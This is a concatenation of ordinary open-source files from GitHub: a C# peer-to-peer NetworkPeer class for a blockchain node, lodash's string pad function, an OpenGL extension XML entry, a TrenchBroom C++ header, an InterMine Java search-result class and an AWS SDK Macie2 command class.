/// <param name="parameters">Various settings and requirements related to how the connections with peers are going to be established, or <c>null</c> to use default parameters.</param>
/// <param name="dateTimeProvider">Provider of time functions.</param>
/// <param name="loggerFactory">Factory for creating loggers.</param>
/// <param name="selfEndpointTracker">Tracker for endpoints known to be self.</param>
/// <param name="onDisconnected">Callback that is invoked when peer has finished disconnecting, or <c>null</c> when no notification after the disconnection is required.</param>
private NetworkPeer(bool inbound,
IPEndPoint peerEndPoint,
Network network,
NetworkPeerConnectionParameters parameters,
IDateTimeProvider dateTimeProvider,
ILoggerFactory loggerFactory,
ISelfEndpointTracker selfEndpointTracker,
IAsyncProvider asyncProvider,
Action<INetworkPeer> onDisconnected = null,
Action<IPEndPoint, Payload> onSendingMessage = null)
{
this.dateTimeProvider = dateTimeProvider;
this.preferredTransactionOptions = parameters.PreferredTransactionOptions;
this.SupportedTransactionOptions = parameters.PreferredTransactionOptions & ~TransactionOptions.All;
this.State = inbound ? NetworkPeerState.Connected : NetworkPeerState.Created;
this.Inbound = inbound;
this.PeerEndPoint = peerEndPoint;
this.RemoteSocketEndpoint = this.PeerEndPoint;
this.Network = network;
this.Behaviors = new List<INetworkPeerBehavior>();
this.selfEndpointTracker = selfEndpointTracker;
this.asyncProvider = asyncProvider;
this.onDisconnectedAsyncContext = new AsyncLocal<DisconnectedExecutionAsyncContext>();
this.ConnectionParameters = parameters ?? new NetworkPeerConnectionParameters();
this.MyVersion = this.ConnectionParameters.CreateVersion(this.selfEndpointTracker.MyExternalAddress, this.PeerEndPoint, network, this.dateTimeProvider.GetTimeOffset());
this.MessageReceived = new AsyncExecutionEvent<INetworkPeer, IncomingMessage>();
this.StateChanged = new AsyncExecutionEvent<INetworkPeer, NetworkPeerState>();
this.onDisconnected = onDisconnected;
this.onSendingMessage = onSendingMessage;
string dequeuerName = $"{nameof(NetworkPeer)}-{nameof(this.asyncPayloadsQueue)}-{this.PeerEndPoint.ToString()}";
this.asyncPayloadsQueue = asyncProvider.CreateAndRunAsyncDelegateDequeuer<Payload>(dequeuerName, this.SendMessageHandledAsync);
}
/// <summary>
/// Initializes an instance of the object for outbound network peers.
/// </summary>
/// <param name="peerEndPoint">IP address and port on the side of the peer.</param>
/// <param name="network">Specification of the network the node runs on - regtest/testnet/mainnet.</param>
/// <param name="parameters">Various settings and requirements related to how the connections with peers are going to be established, or <c>null</c> to use default parameters.</param>
/// <param name="networkPeerFactory">Factory for creating P2P network peers.</param>
/// <param name="dateTimeProvider">Provider of time functions.</param>
/// <param name="loggerFactory">Factory for creating loggers.</param>
/// <param name="selfEndpointTracker">Tracker for endpoints known to be self.</param>
/// <param name="onDisconnected">Callback that is invoked when peer has finished disconnecting, or <c>null</c> when no notification after the disconnection is required.</param>
public NetworkPeer(IPEndPoint peerEndPoint,
Network network,
NetworkPeerConnectionParameters parameters,
INetworkPeerFactory networkPeerFactory,
IDateTimeProvider dateTimeProvider,
ILoggerFactory loggerFactory,
ISelfEndpointTracker selfEndpointTracker,
IAsyncProvider asyncProvider,
Action<INetworkPeer> onDisconnected = null,
Action<IPEndPoint, Payload> onSendingMessage = null
)
: this(false, peerEndPoint, network, parameters, dateTimeProvider, loggerFactory, selfEndpointTracker, asyncProvider, onDisconnected, onSendingMessage)
{
var client = new TcpClient(AddressFamily.InterNetworkV6);
client.Client.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, false);
client.Client.ReceiveBufferSize = parameters.ReceiveBufferSize;
client.Client.SendBufferSize = parameters.SendBufferSize;
this.Connection = networkPeerFactory.CreateNetworkPeerConnection(this, client, this.ProcessMessageAsync);
this.logger = loggerFactory.CreateLogger(this.GetType().FullName, $"[{this.Connection.Id}-{peerEndPoint}] ");
}
/// <summary>
/// Initializes an instance of the object for inbound network peers with already established connection.
/// </summary>
/// <param name="peerEndPoint">IP address and port on the side of the peer.</param>
/// <param name="network">Specification of the network the node runs on - regtest/testnet/mainnet.</param>
/// <param name="parameters">Various settings and requirements related to how the connections with peers are going to be established, or <c>null</c> to use default parameters.</param>
/// <param name="client">Already connected network client.</param>
/// <param name="dateTimeProvider">Provider of time functions.</param>
/// <param name="networkPeerFactory">Factory for creating P2P network peers.</param>
/// <param name="loggerFactory">Factory for creating loggers.</param>
/// <param name="selfEndpointTracker">Tracker for endpoints known to be self.</param>
/// <param name="onDisconnected">Callback that is invoked when peer has finished disconnecting, or <c>null</c> when no notification after the disconnection is required.</param>
public NetworkPeer(IPEndPoint peerEndPoint,
Network network,
NetworkPeerConnectionParameters parameters,
TcpClient client,
IDateTimeProvider dateTimeProvider,
INetworkPeerFactory networkPeerFactory,
ILoggerFactory loggerFactory,
ISelfEndpointTracker selfEndpointTracker,
IAsyncProvider asyncProvider,
Action<INetworkPeer> onDisconnected = null,
Action<IPEndPoint, Payload> onSendingMessage = null)
: this(true, peerEndPoint, network, parameters, dateTimeProvider, loggerFactory, selfEndpointTracker, asyncProvider, onDisconnected, onSendingMessage)
{
this.Connection = networkPeerFactory.CreateNetworkPeerConnection(this, client, this.ProcessMessageAsync);
this.logger = loggerFactory.CreateLogger(this.GetType().FullName, $"[{this.Connection.Id}-{peerEndPoint}] ");
this.logger.LogDebug("Connected to peer '{0}'.", this.PeerEndPoint);
this.InitDefaultBehaviors(this.ConnectionParameters);
this.Connection.StartReceiveMessages();
}
/// <summary>
/// Sets a new network state of the peer.
/// </summary>
/// <param name="newState">New network state to be set.</param>
/// <remarks>This method is not thread safe.</remarks>
private async Task SetStateAsync(NetworkPeerState newState)
{
NetworkPeerState previous = this.State;
if (StateTransitionTable[previous].Contains(newState))
{
this.State = newState;
await this.OnStateChangedAsync(previous).ConfigureAwait(false);
if ((newState == NetworkPeerState.Failed) || (newState == NetworkPeerState.Offline))
{
this.logger.LogDebug("Communication with the peer has been closed. newState={0}", newState);
this.asyncProvider.Signals.Publish(new PeerDisconnected(this.Inbound, this.PeerEndPoint, this.DisconnectReason?.Reason, this.DisconnectReason?.Exception));
this.ExecuteDisconnectedCallbackWhenSafe();
}
}
else if (previous != newState)
{
this.logger.LogDebug("Illegal transition from {0} to {1} occurred.", previous, newState);
}
}
/// <inheritdoc/>
public async Task ConnectAsync(CancellationToken cancellation = default(CancellationToken))
{
try
{
this.logger.LogDebug("Connecting to '{0}'.", this.PeerEndPoint);
await this.Connection.ConnectAsync(this.PeerEndPoint, cancellation).ConfigureAwait(false);
this.RemoteSocketEndpoint = this.Connection.RemoteEndPoint;
this.State = NetworkPeerState.Connected;
this.InitDefaultBehaviors(this.ConnectionParameters);
this.Connection.StartReceiveMessages();
this.logger.LogDebug("Outbound connection to '{0}' established.", this.PeerEndPoint);
}
catch (OperationCanceledException)
{
this.logger.LogDebug("Connection to '{0}' cancelled.", this.PeerEndPoint);
await this.SetStateAsync(NetworkPeerState.Offline).ConfigureAwait(false);
this.logger.LogTrace("(-)[CANCELLED]");
throw;
}
catch (Exception ex)
{
this.logger.LogDebug("Exception occurred while connecting to peer '{0}': {1}", this.PeerEndPoint, ex is SocketException ? ex.Message : ex.ToString());
this.DisconnectReason = new NetworkPeerDisconnectReason()
{
Reason = "Unexpected exception while connecting to socket",
Exception = ex
};
await this.SetStateAsync(NetworkPeerState.Failed).ConfigureAwait(false);
this.logger.LogTrace("(-)[EXCEPTION]");
throw;
}
}
/// <summary>
/// Calls event handlers when the network state of the peer is changed.
/// </summary>
/// <param name="previous">Previous network state of the peer.</param>
private async Task OnStateChangedAsync(NetworkPeerState previous)
{
// Creates a context that can be used to postpone / flag disconnect.
bool iCreatedContext = this.onDisconnectedAsyncContext.Value == null;
if (iCreatedContext)
this.onDisconnectedAsyncContext.Value = new DisconnectedExecutionAsyncContext();
try
{
await this.StateChanged.ExecuteCallbacksAsync(this, previous).ConfigureAwait(false);
}
catch (Exception e)
{
this.logger.LogError("Exception occurred while calling state changed callbacks: {0}", e.ToString());
throw;
}
finally
{
// Only the caller that created the context should process and remove it.
if (iCreatedContext)
{
if (this.onDisconnectedAsyncContext.Value.DisconnectCallbackRequested)
this.onDisconnected(this);
this.onDisconnectedAsyncContext.Value = null;
}
}
}
/// <summary>
/// Processes an incoming message from the peer and calls subscribed event handlers.
/// </summary>
/// <param name="message">Message received from the peer.</param>
/// <param name="cancellation">Cancellation token to abort message processing.</param>
private async Task ProcessMessageAsync(IncomingMessage message, CancellationToken cancellation)
{
try
{
switch (message.Message.Payload)
{
case VersionPayload versionPayload:
await this.ProcessVersionMessageAsync(versionPayload, cancellation).ConfigureAwait(false);
break;
case HaveWitnessPayload unused:
this.SupportedTransactionOptions |= TransactionOptions.Witness;
break;
}
}
catch
{
this.logger.LogDebug("Exception occurred while processing a message from the peer. Connection has been closed and message won't be processed further.");
this.logger.LogTrace("(-)[EXCEPTION_PROCESSING]");
return;
}
// Creates a context that can be used to postpone / flag disconnect.
bool iCreatedContext = this.onDisconnectedAsyncContext.Value == null;
if (iCreatedContext)
this.onDisconnectedAsyncContext.Value = new DisconnectedExecutionAsyncContext();
try
{
await this.MessageReceived.ExecuteCallbacksAsync(this, message).ConfigureAwait(false);
}
catch (Exception e)
{
this.logger.LogCritical("Exception occurred while calling message received callbacks: {0}", e.ToString());
this.logger.LogTrace("(-)[EXCEPTION_CALLBACKS]");
throw;
}
finally
{
// Only the caller that created the context should process and remove it.
if (iCreatedContext)
{
if (this.onDisconnectedAsyncContext.Value.DisconnectCallbackRequested)
this.onDisconnected(this);
this.onDisconnectedAsyncContext.Value = null;
}
}
}
/// <summary>
/// Processes a "version" message received from a peer.
/// </summary>
/// <param name="version">Version message received from a peer.</param>
/// <param name="cancellation">Cancellation token to abort message processing.</param>
private async Task ProcessVersionMessageAsync(VersionPayload version, CancellationToken cancellation)
{
this.logger.LogDebug("Peer's state is {0}.", this.State);
switch (this.State)
{
case NetworkPeerState.Connected:
if (this.Inbound)
await this.ProcessInitialVersionPayloadAsync(version, cancellation).ConfigureAwait(false);
break;
case NetworkPeerState.HandShaked:
if (this.Version >= ProtocolVersion.REJECT_VERSION)
{
var rejectPayload = new RejectPayload()
{
Code = RejectCode.DUPLICATE
};
await this.SendMessageAsync(rejectPayload, cancellation).ConfigureAwait(false);
}
break;
}
this.TimeOffset = this.dateTimeProvider.GetTimeOffset() - version.Timestamp;
if ((version.Services & NetworkPeerServices.NODE_WITNESS) != 0)
this.SupportedTransactionOptions |= TransactionOptions.Witness;
}
/// <summary>
/// Processes an initial "version" message received from a peer.
/// </summary>
/// <param name="version">Version message received from a peer.</param>
/// <param name="cancellation">Cancellation token to abort message processing.</param>
/// <exception cref="OperationCanceledException">Thrown if the response to our "version" message is not received on time.</exception>
private async Task ProcessInitialVersionPayloadAsync(VersionPayload version, CancellationToken cancellation)
{
this.PeerVersion = version;
bool connectedToSelf = version.Nonce == this.ConnectionParameters.Nonce;
this.logger.LogDebug("First message received from peer '{0}'.", version.AddressFrom);
if (connectedToSelf)
{
this.logger.LogDebug("Connection to self detected, disconnecting.");
this.Disconnect("Connected to self");
this.selfEndpointTracker.Add(version.AddressReceiver);
this.logger.LogTrace("(-)[CONNECTED_TO_SELF]");
throw new OperationCanceledException();
}
using (CancellationTokenSource cancellationSource = CancellationTokenSource.CreateLinkedTokenSource(this.Connection.CancellationSource.Token, cancellation))
{
cancellationSource.CancelAfter(TimeSpan.FromSeconds(10.0));
try
{
await this.RespondToHandShakeAsync(cancellationSource.Token).ConfigureAwait(false);
}
catch (OperationCanceledException ex)
{
if (ex.CancellationToken == cancellationSource.Token)
{
this.logger.LogDebug("Remote peer hasn't responded within 10 seconds of the handshake completion, dropping connection.");
this.Disconnect("Handshake timeout");
}
else
{
this.logger.LogDebug("Handshake problem, dropping connection. Problem: '{0}'.", ex.Message);
this.Disconnect($"Handshake problem, reason: '{ex.Message}'.");
}
this.logger.LogTrace("(-)[HANDSHAKE_TIMEDOUT]");
throw;
}
catch (Exception ex)
{
this.logger.LogDebug("Exception occurred: {0}", ex.ToString());
this.Disconnect("Handshake exception", ex);
this.logger.LogTrace("(-)[HANDSHAKE_EXCEPTION]");
throw;
}
}
}
/// <summary>
/// Initializes behaviors from the default template.
/// </summary>
/// <param name="parameters">Various settings and requirements related to how the connections with peers are going to be established, including the default behaviors template.</param>
private void InitDefaultBehaviors(NetworkPeerConnectionParameters parameters)
{
this.advertize = parameters.Advertize;
this.preferredTransactionOptions = parameters.PreferredTransactionOptions;
foreach (INetworkPeerBehavior behavior in parameters.TemplateBehaviors)
{
this.Behaviors.Add(behavior.Clone());
}
if ((this.State == NetworkPeerState.Connected) || (this.State == NetworkPeerState.HandShaked))
{
foreach (INetworkPeerBehavior behavior in this.Behaviors)
{
behavior.Attach(this);
}
}
}
/// <inheritdoc/>
public void SendMessage(Payload payload)
{
Guard.NotNull(payload, nameof(payload));
if (!this.IsConnected)
{
this.logger.LogTrace("(-)[NOT_CONNECTED]");
throw new OperationCanceledException("The peer has been disconnected");
}
this.asyncPayloadsQueue.Enqueue(payload);
}
/// <summary>
/// This is used by the <see cref="asyncPayloadsQueue"/> to send payloads messages to peers under a separate thread.
/// If a message is sent inside the state change even and the send fails this could cause a deadlock,
/// to avoid that if there is any danger of a deadlock it better to use the SendMessage method and go via the queue.
/// </summary>
private async Task SendMessageHandledAsync(Payload payload, CancellationToken cancellation = default(CancellationToken))
{
try
{
await this.SendMessageAsync(payload, cancellation);
}
catch (OperationCanceledException)
{
this.logger.LogDebug("Connection to '{0}' cancelled.", this.PeerEndPoint);
}
catch (Exception ex)
{
this.logger.LogError("Exception occurred while connecting to peer '{0}': {1}", this.PeerEndPoint, ex is SocketException ? ex.Message : ex.ToString());
throw;
}
}
/// <inheritdoc/>
public async Task SendMessageAsync(Payload payload, CancellationToken cancellation = default(CancellationToken))
{
Guard.NotNull(payload, nameof(payload));
if (!this.IsConnected)
{
this.logger.LogTrace("(-)[NOT_CONNECTED]");
throw new OperationCanceledException("The peer has been disconnected");
}
this.onSendingMessage?.Invoke(this.RemoteSocketEndpoint, payload);
await this.Connection.SendAsync(payload, cancellation).ConfigureAwait(false);
}
/// <inheritdoc/>
public async Task VersionHandshakeAsync(CancellationToken cancellationToken = default(CancellationToken))
{
await this.VersionHandshakeAsync(null, cancellationToken).ConfigureAwait(false);
}
/// <inheritdoc/>
public async Task VersionHandshakeAsync(NetworkPeerRequirement requirements, CancellationToken cancellationToken)
{
// Note that this method gets called for outbound peers. When our peer is inbound we receive the initial version handshake from the initiating peer, and it is handled via this.ProcessMessageAsync() only.
// In stratisX, the equivalent functionality is contained in main.cpp, method ProcessMessage()
requirements = requirements ?? new NetworkPeerRequirement();
NetworkPeerListener listener = null;
try
{
listener = new NetworkPeerListener(this, this.asyncProvider);
this.logger.LogDebug("Sending my version.");
await this.SendMessageAsync(this.MyVersion, cancellationToken).ConfigureAwait(false);
this.logger.LogDebug("Waiting for version or rejection message.");
bool versionReceived = false;
bool verAckReceived = false;
while (!versionReceived || !verAckReceived)
{
Payload payload = await listener.ReceivePayloadAsync<Payload>(cancellationToken).ConfigureAwait(false);
switch (payload)
{
case RejectPayload rejectPayload:
this.logger.LogTrace("(-)[HANDSHAKE_REJECTED]");
throw new ProtocolException("Handshake rejected: " + rejectPayload.Reason);
case VersionPayload versionPayload:
versionReceived = true;
this.PeerVersion = versionPayload;
if (!versionPayload.AddressReceiver.Address.MapToIPv6().Equals(this.MyVersion.AddressFrom.Address.MapToIPv6()))
{
this.logger.LogDebug("Different external address detected by the node '{0}' instead of '{1}'.", versionPayload.AddressReceiver.Address, this.MyVersion.AddressFrom.Address);
}
if (versionPayload.Version < ProtocolVersion.MIN_PEER_PROTO_VERSION)
{
this.logger.LogDebug("Outdated version {0} received, disconnecting peer.", versionPayload.Version);
this.Disconnect("Outdated version");
this.logger.LogTrace("(-)[OUTDATED]");
return;
}
if (!requirements.Check(versionPayload, this.Inbound, out string reason))
{
this.logger.LogTrace("(-)[UNSUPPORTED_REQUIREMENTS]");
this.Disconnect("The peer does not support the required services requirement, reason: " + reason);
return;
}
this.logger.LogDebug("Sending version acknowledgement.");
await this.SendMessageAsync(new VerAckPayload(), cancellationToken).ConfigureAwait(false);
// Note that we only update our external address data from information returned by outbound peers.
// TODO: Is this due to a security assumption or is it an oversight? There is a higher risk the inbounds could be spoofing what they claim our external IP is. We would then use it in future version payloads, so that could be considered an attack.
// For outbounds: AddressFrom is our current external endpoint from our perspective, and could easily be incorrect if it has been automatically detected from local NICs.
// Whereas AddressReceiver is the endpoint from the peer's perspective, so we update our view using that.
this.selfEndpointTracker.UpdateAndAssignMyExternalAddress(versionPayload.AddressReceiver, false);
break;
case VerAckPayload verAckPayload:
verAckReceived = true;
break;
}
}
await this.SetStateAsync(NetworkPeerState.HandShaked).ConfigureAwait(false);
if (this.advertize && this.MyVersion.AddressFrom.Address.IsRoutable(true))
{
var addrPayload = new AddrPayload
(
new NetworkAddress(this.MyVersion.AddressFrom)
{
Time = this.dateTimeProvider.GetTimeOffset()
}
);
await this.SendMessageAsync(addrPayload, cancellationToken).ConfigureAwait(false);
}
// Ask the just-handshaked peer for the peers they know about to aid in our own peer discovery.
await this.SendMessageAsync(new GetAddrPayload(), cancellationToken).ConfigureAwait(false);
}
catch
{
throw;
}
finally
{
listener?.Dispose();
}
}
/// <inheritdoc/>
public async Task RespondToHandShakeAsync(CancellationToken cancellationToken = default(CancellationToken))
{
using (var listener = new NetworkPeerListener(this, this.asyncProvider))
{
this.logger.LogDebug("Responding to handshake with my version.");
await this.SendMessageAsync(this.MyVersion, cancellationToken).ConfigureAwait(false);
this.logger.LogDebug("Waiting for version acknowledgement or rejection message.");
while (this.State != NetworkPeerState.HandShaked)
{
Payload payload = await listener.ReceivePayloadAsync<Payload>(cancellationToken).ConfigureAwait(false);
switch (payload)
{
case RejectPayload rejectPayload:
this.logger.LogDebug("Version rejected: code {0}, reason '{1}'.", rejectPayload.Code, rejectPayload.Reason);
this.logger.LogTrace("(-)[VERSION_REJECTED]");
throw new ProtocolException("Version rejected " + rejectPayload.Code + ": " + rejectPayload.Reason);
case VerAckPayload verAckPayload:
this.logger.LogDebug("Sending version acknowledgement.");
await this.SendMessageAsync(new VerAckPayload(), cancellationToken).ConfigureAwait(false);
await this.SetStateAsync(NetworkPeerState.HandShaked).ConfigureAwait(false);
break;
}
}
}
}
/// <inheritdoc/>
public void Disconnect(string reason, Exception exception = null)
{
this.logger.LogDebug("Disconnect called with reason={0} and exception={1}", reason, exception?.ToString() ?? "null");
if (Interlocked.CompareExchange(ref this.disconnected, 1, 0) == 1)
{
this.logger.LogTrace("(-)[DISCONNECTED]");
return;
}
if (this.IsConnected) this.SetStateAsync(NetworkPeerState.Disconnecting).GetAwaiter().GetResult();
this.Connection.Disconnect();
if (this.DisconnectReason == null)
{
this.DisconnectReason = new NetworkPeerDisconnectReason()
{
Reason = reason,
Exception = exception
};
}
NetworkPeerState newState = exception == null ? NetworkPeerState.Offline : NetworkPeerState.Failed;
this.SetStateAsync(newState).GetAwaiter().GetResult();
}
/// <summary>
/// Executes <see cref="onDisconnected"/> callback if no callbacks are currently executing in the same async context,
/// schedules <see cref="onDisconnected"/> execution after the callback otherwise.
/// </summary>
private void ExecuteDisconnectedCallbackWhenSafe()
{
if (this.onDisconnected != null)
{
// Value wasn't set in this async context, which means that we are outside of the callbacks execution and it is allowed to call `onDisconnected`.
if (this.onDisconnectedAsyncContext.Value == null)
{
this.logger.LogDebug("Disconnection callback is being executed.");
this.onDisconnected(this);
}
else
{
this.logger.LogDebug("Disconnection callback is scheduled for execution when other callbacks are finished.");
this.onDisconnectedAsyncContext.Value.DisconnectCallbackRequested = true;
}
}
else
this.logger.LogDebug("Disconnection callback is not specified.");
}
/// <inheritdoc />
public void Dispose()
{
if (Interlocked.CompareExchange(ref this.disposed, 1, 0) == 1)
{
this.logger.LogTrace("(-)[DISPOSED]");
return;
}
this.Disconnect("Peer disposed");
this.logger.LogDebug("Behaviors detachment started.");
foreach (INetworkPeerBehavior behavior in this.Behaviors)
{
try
{
behavior.Detach();
behavior.Dispose();
}
catch (Exception ex)
{
this.logger.LogError("Error while detaching behavior '{0}': {1}", behavior.GetType().FullName, ex.ToString());
}
}
this.asyncPayloadsQueue.Dispose();
this.Connection.Dispose();
this.MessageReceived.Dispose();
this.StateChanged.Dispose();
}
/// <inheritdoc />
public InventoryType AddSupportedOptions(InventoryType inventoryType)
{
// Transaction options we prefer and which are also supported by peer.
TransactionOptions actualTransactionOptions = this.preferredTransactionOptions & this.SupportedTransactionOptions;
if ((actualTransactionOptions & TransactionOptions.Witness) != 0)
inventoryType |= InventoryType.MSG_WITNESS_FLAG;
return inventoryType;
}
/// <inheritdoc />
[NoTrace]
public T Behavior<T>() where T : INetworkPeerBehavior
{
return this.Behaviors.OfType<T>().FirstOrDefault();
}
}
} | {
"pile_set_name": "Github"
} |
var createPadding = require('./_createPadding'),
stringSize = require('./_stringSize'),
toInteger = require('./toInteger'),
toString = require('./toString');
/* Built-in method references for those with the same name as other `lodash` methods. */
var nativeCeil = Math.ceil,
nativeFloor = Math.floor;
/**
* Pads `string` on the left and right sides if it's shorter than `length`.
* Padding characters are truncated if they can't be evenly divided by `length`.
*
* @static
* @memberOf _
* @since 3.0.0
* @category String
* @param {string} [string=''] The string to pad.
* @param {number} [length=0] The padding length.
* @param {string} [chars=' '] The string used as padding.
* @returns {string} Returns the padded string.
* @example
*
* _.pad('abc', 8);
* // => ' abc '
*
* _.pad('abc', 8, '_-');
* // => '_-abc_-_'
*
* _.pad('abc', 3);
* // => 'abc'
*/
function pad(string, length, chars) {
string = toString(string);
length = toInteger(length);
var strLength = length ? stringSize(string) : 0;
if (!length || strLength >= length) {
return string;
}
var mid = (length - strLength) / 2;
return (
createPadding(nativeFloor(mid), chars) +
string +
createPadding(nativeCeil(mid), chars)
);
}
module.exports = pad;
| {
"pile_set_name": "Github"
} |
<?xml version='1.0'?>
<gl_extension name="GL_GREMEDY_frame_terminator" reg_no="345">
<functions>
<function name="glFrameTerminatorGREMEDY" return="void"/>
</functions>
</gl_extension>
| {
"pile_set_name": "Github"
} |
/*
Copyright (C) 2010-2017 Kristian Duske
This file is part of TrenchBroom.
TrenchBroom is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
TrenchBroom is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with TrenchBroom. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef TrenchBroom_IssueQuickFix
#define TrenchBroom_IssueQuickFix
#include "Model/IssueType.h"
#include <string>
#include <vector>
namespace TrenchBroom {
namespace Model {
class Issue;
class MapFacade;
class IssueQuickFix {
private:
IssueType m_issueType;
std::string m_description;
protected:
IssueQuickFix(IssueType issueType, const std::string& description);
public:
virtual ~IssueQuickFix();
const std::string& description() const;
void apply(MapFacade* facade, const std::vector<Issue*>& issues) const;
private:
virtual void doApply(MapFacade* facade, const std::vector<Issue*>& issues) const;
virtual void doApply(MapFacade* facade, const Issue* issue) const;
};
}
}
#endif /* defined(TrenchBroom_IssueQuickFix) */
| {
"pile_set_name": "Github"
} |
package org.intermine.web.search;
/*
* Copyright (C) 2002-2020 FlyMine
*
* This code may be freely distributed and modified under the
* terms of the GNU Lesser General Public Licence. This should
* be distributed with the code. See the LICENSE file for more
* information or http://www.gnu.org/copyleft/lesser.html.
*
*/
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Vector;
import org.apache.log4j.Logger;
import org.intermine.api.config.ClassKeyHelper;
import org.intermine.metadata.ClassDescriptor;
import org.intermine.metadata.FieldDescriptor;
import org.intermine.model.InterMineObject;
import org.intermine.template.TemplateQuery;
import org.intermine.web.logic.config.FieldConfig;
import org.intermine.web.logic.config.FieldConfigHelper;
import org.intermine.web.logic.config.WebConfig;
/**
* Container for a single result row from the keyword search
* @author nils
*/
public class KeywordSearchResult
{
private static final Logger LOG = Logger.getLogger(KeywordSearchResult.class);
final WebConfig webconfig;
final InterMineObject object;
final int id;
final String type;
final float score;
final Map<String, TemplateQuery> templates;
final int points;
final HashMap<String, FieldConfig> fieldConfigs;
final Vector<String> keyFields;
final Vector<String> additionalFields;
final HashMap<String, Object> fieldValues;
String linkRedirect = null;
/**
* create the container object - automatically reads fields and saves the results in members
* @param webconfig webconfig
* @param object the object this result should contain
* @param classKeys keys associated with this class
* @param classDescriptor descriptor for this class
* @param score score for this hit
* @param templates templatequeries for this class
* @param linkRedirect URL that search result will link to, if not report page
*/
public KeywordSearchResult(WebConfig webconfig, InterMineObject object,
Map<String, List<FieldDescriptor>> classKeys, ClassDescriptor classDescriptor,
float score, Map<String, TemplateQuery> templates, String linkRedirect) {
List<FieldConfig> fieldConfigList = FieldConfigHelper.getClassFieldConfigs(webconfig,
classDescriptor);
this.fieldConfigs = new HashMap<String, FieldConfig>();
this.keyFields = new Vector<String>();
this.additionalFields = new Vector<String>();
this.fieldValues = new HashMap<String, Object>();
for (FieldConfig fieldConfig : fieldConfigList) {
if (fieldConfig.getShowInSummary()) {
fieldConfigs.put(fieldConfig.getFieldExpr(), fieldConfig);
if (ClassKeyHelper.isKeyField(classKeys, classDescriptor.getName(), fieldConfig
.getFieldExpr())) {
this.keyFields.add(fieldConfig.getFieldExpr());
} else {
this.additionalFields.add(fieldConfig.getFieldExpr());
}
if (fieldConfig.getDisplayer() == null) {
Object value = getValueForField(object, fieldConfig.getFieldExpr());
if (value != null) {
fieldValues.put(fieldConfig.getFieldExpr(), value);
}
}
}
}
this.webconfig = webconfig;
this.object = object;
this.id = object.getId();
this.type = classDescriptor.getUnqualifiedName();
this.score = score;
this.templates = templates;
this.points = Math.round(Math.max(0.1F, Math.min(1, getScore())) * 10); // range 1..10
this.linkRedirect = linkRedirect;
}
private Object getValueForField(InterMineObject object, String expression) {
LOG.debug("Getting field " + object.getClass().getName() + " -> " + expression);
Object value = null;
try {
int dot = expression.indexOf('.');
if (dot > -1) {
String subExpression = expression.substring(dot + 1);
Object reference = object.getFieldValue(expression.substring(0, dot));
LOG.debug("Reference=" + reference);
// recurse into next object
if (reference != null) {
if (reference instanceof InterMineObject) {
value = getValueForField((InterMineObject) reference, subExpression);
} else {
LOG.warn("Reference is not an IMO in " + object.getClass().getName()
+ " -> " + expression);
}
}
} else {
value = object.getFieldValue(expression);
}
} catch (Exception e) {
LOG.error("Value/reference not found", e);
}
return value;
}
/**
* returns original intermine object
* @return object
*/
public InterMineObject getObject() {
return object;
}
/**
* intermine ID
* @return x
*/
public int getId() {
return id;
}
/**
* returns the name of the class for this object (category)
* @return type
*/
public String getType() {
return type;
}
/**
* return score
* @return ...
*/
public float getScore() {
return score;
}
/**
* templates associated with this class
* @return map of internal template name to template query
*/
public Map<String, TemplateQuery> getTemplates() {
return templates;
}
/**
* return points
* @return 1..10
*/
public int getPoints() {
return points;
}
/**
* URL set in web.properties.
*
* @return the URL the search result will link to. if NULL, link to report page
*/
public String getLinkRedirect() {
return linkRedirect;
}
/**
* fieldConfigs
* @return map from field expression to fieldConfigs
*/
public HashMap<String, FieldConfig> getFieldConfigs() {
return fieldConfigs;
}
/**
* key field expressions
* @return keyFields
*/
public final Vector<String> getKeyFields() {
return keyFields;
}
/**
* additional display field expressions
* @return additionalFields
*/
public final Vector<String> getAdditionalFields() {
return additionalFields;
}
/**
* values of all fields
* @return map from field expression to value
*/
public HashMap<String, Object> getFieldValues() {
return fieldValues;
}
}
| {
"pile_set_name": "Github"
} |
import { Macie2ClientResolvedConfig, ServiceInputTypes, ServiceOutputTypes } from "../Macie2Client";
import { GetMemberRequest, GetMemberResponse } from "../models/models_0";
import {
deserializeAws_restJson1GetMemberCommand,
serializeAws_restJson1GetMemberCommand,
} from "../protocols/Aws_restJson1";
import { getSerdePlugin } from "@aws-sdk/middleware-serde";
import { HttpRequest as __HttpRequest, HttpResponse as __HttpResponse } from "@aws-sdk/protocol-http";
import { Command as $Command } from "@aws-sdk/smithy-client";
import {
FinalizeHandlerArguments,
Handler,
HandlerExecutionContext,
MiddlewareStack,
HttpHandlerOptions as __HttpHandlerOptions,
MetadataBearer as __MetadataBearer,
SerdeContext as __SerdeContext,
} from "@aws-sdk/types";
export type GetMemberCommandInput = GetMemberRequest;
export type GetMemberCommandOutput = GetMemberResponse & __MetadataBearer;
export class GetMemberCommand extends $Command<
GetMemberCommandInput,
GetMemberCommandOutput,
Macie2ClientResolvedConfig
> {
// Start section: command_properties
// End section: command_properties
constructor(readonly input: GetMemberCommandInput) {
// Start section: command_constructor
super();
// End section: command_constructor
}
resolveMiddleware(
clientStack: MiddlewareStack<ServiceInputTypes, ServiceOutputTypes>,
configuration: Macie2ClientResolvedConfig,
options?: __HttpHandlerOptions
): Handler<GetMemberCommandInput, GetMemberCommandOutput> {
this.middlewareStack.use(getSerdePlugin(configuration, this.serialize, this.deserialize));
const stack = clientStack.concat(this.middlewareStack);
const { logger } = configuration;
const handlerExecutionContext: HandlerExecutionContext = {
logger,
inputFilterSensitiveLog: GetMemberRequest.filterSensitiveLog,
outputFilterSensitiveLog: GetMemberResponse.filterSensitiveLog,
};
const { requestHandler } = configuration;
return stack.resolve(
(request: FinalizeHandlerArguments<any>) =>
requestHandler.handle(request.request as __HttpRequest, options || {}),
handlerExecutionContext
);
}
private serialize(input: GetMemberCommandInput, context: __SerdeContext): Promise<__HttpRequest> {
return serializeAws_restJson1GetMemberCommand(input, context);
}
private deserialize(output: __HttpResponse, context: __SerdeContext): Promise<GetMemberCommandOutput> {
return deserializeAws_restJson1GetMemberCommand(output, context);
}
// Start section: command_body_extra
// End section: command_body_extra
}
| {
"pile_set_name": "Github"
} |
